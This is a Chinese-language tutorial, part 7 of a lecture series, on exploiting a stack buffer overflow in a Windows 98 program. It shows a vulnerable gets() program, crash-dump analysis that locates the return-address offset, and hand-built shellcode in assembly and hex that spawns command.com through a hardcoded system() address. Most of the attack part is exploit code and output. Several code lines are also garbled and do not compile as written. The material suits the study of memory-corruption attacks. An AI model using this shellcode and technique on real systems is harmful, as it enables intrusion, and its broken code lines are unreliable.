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堆栈溢出系列讲座(7)
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window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的
堆栈溢出漏洞。
让我们从头开始。windows 98第二版
首先，我们来写一个问题程序：
int main()
{
char name[32];
gets(name);
for(int i=0;i<32;;name[i];i++)
printf("\\0x%x",name[i]);
}
相信大家都看出来了，gets(name)对name数组没有作边界检查。那么我们可以给程序
一个很长的串，肯定可以覆盖堆栈中的返回地址。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
\0x61
到这里，出现了那个熟悉的对话框“该程序执行了非法操作。。。”，太好了，点击
详细信息按钮，看到EIP的值是0x61616161，哈哈，对话框还会把返回地址告诉我们。
这个功能太好了，我们可以选择一个序列的输入串，精确的确定存放返回地址的偏移
位置。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32
\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30
\0x32
到这里，又出现了那个熟悉的对话框“改程序执行了非法操作。。。”，点击详细信息
按钮，下面是详细信息：
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦，EIP的内容为0x32363235，就是2625,EBP的内容为0x32343233，就是2423,计算
一下可以知道，在堆栈中，从name变量地址开始偏移36处，是EBP的地址，从name变量
地址开始偏移40处，是ret的地址。我们可以给name数组输入我们精心编写的shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么，name的开始地址
是多少呢？
通过上面的stack dump 我们可以看到，当前ESP所指向的地址0x0064fe00，内容为
0x32383237,那么计算得出，name的开始地址为：0x0064fe00-44=0x64fdd4。在windows
系统，其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都
是相同的。也就是说，每次运行，name的地址都是0x64fdd4。
讲到这里，大家一定已经发现了这样一个情况：在win系统中，由于有地址冲突检测，
出错时寄存器影像和堆栈影像，使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。
OK，万事具备，只差shellcode了。
首先，考虑一下我们的shellcode要作什么？显然，根据以往的经验，我们想开一个
dos窗口，这样在这个窗口下，我们就可以作很多事情。
开一个dos窗口的程序如下：
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11]= "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面，语句system(command.com)；将完成我们需要的功能。
但是，windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说，
windows通过动态链接库来提供系统函数。这就是所谓的Dll's。
因此，当我们想调用一个系统函数的时候，并不能直接引用他。我们必须找到那个
包含此函数的动态链接库，由该动态链接库提供这个函数的地址。DLL本身也有一个
基本地址，该DLL每一次被加载都是从这个基本地址加载。比如，system函数由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供，而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处（这个偏移地址
只与msvcrt.dll的版本有关，不同的版本可能偏移地址不同）。我的系统上，
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。
所以，要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库
msvcrt.dll，获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。
好了，现在可以编译执行，结果正确，我们得到了一个dos框。
现在对这个程序进行调试跟踪汇编语言，可以得到：
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 pushedx
00401079 calldword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 pusheax
00401086 mov ecx,dword ptr [LibHandle]
00401089 pushecx
0040108A calldword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在，eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数，只有一个参数，就是字符串"command.com"的地址
00401096 pushedx
00401097 calldword ptr [ProcAdd]
0040109A add esp,4
现在我们可以写出一段汇编代码来完成system，看以看我们的执行system调用的代码
是否能够像我们设计的那样工作：
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp;保存ebp，esp－4
mov ebp,esp ;给ebp赋新值，将作为局部变量
的基指针
xor edi,edi ;
push edi;压入0，esp－4，
;作用是构造字符串的结尾\0字符
。
sub esp,08h ;加上上面，一共有12个字节，
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h;
mov byte ptr [ebp-0bh],6fh;
mov byte ptr [ebp-0ah],6dh;
mov byte ptr [ebp-09h],6Dh;
mov byte ptr [ebp-08h],61h;
mov byte ptr [ebp-07h],6eh;
mov byte ptr [ebp-06h],64h;
mov byte ptr [ebp-05h],2Eh;
mov byte ptr [ebp-04h],63h;
mov byte ptr [ebp-03h],6fh;
mov byte ptr [ebp-02h],6dh;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax;调用system
}
}
编译，然后运行。好，DOS框出来了。在提示符下输入dir,copy......是不是想起了
当年用286的时候了？
敲exit退出来，哎呀，发生了非法操作。Access Violation。这是肯定的，因为我们的
程序已经把堆栈指针搞乱了。
对上面的算法进行优化，现在我们可以写出shellcode如下：
char shellcode[] = {
0x8B,0xE5,/*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC,/*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C*/
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63*/
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61*/
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63*/
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2,/*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl*/
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824*/
0xFF,0xD0 /*call eax */
};
还记得第二讲中那个测试shellcode的基本程序吗？我们可以用他来测试这个
shellcode：
char shellcode[] = {
0x8B,0xE5,/*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC,/*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C*/
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63*/
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61*/
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63*/
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2,/*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl*/
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824*/
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *);ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有push ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地址。
}
编译运行，得到dos对话框。
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计算
偏移地址，以及如何编写一个shellcode以得到dos。理论上，你已经具备了利用堆栈溢出
的能力了，下面，我们通过实战来真正掌握他。
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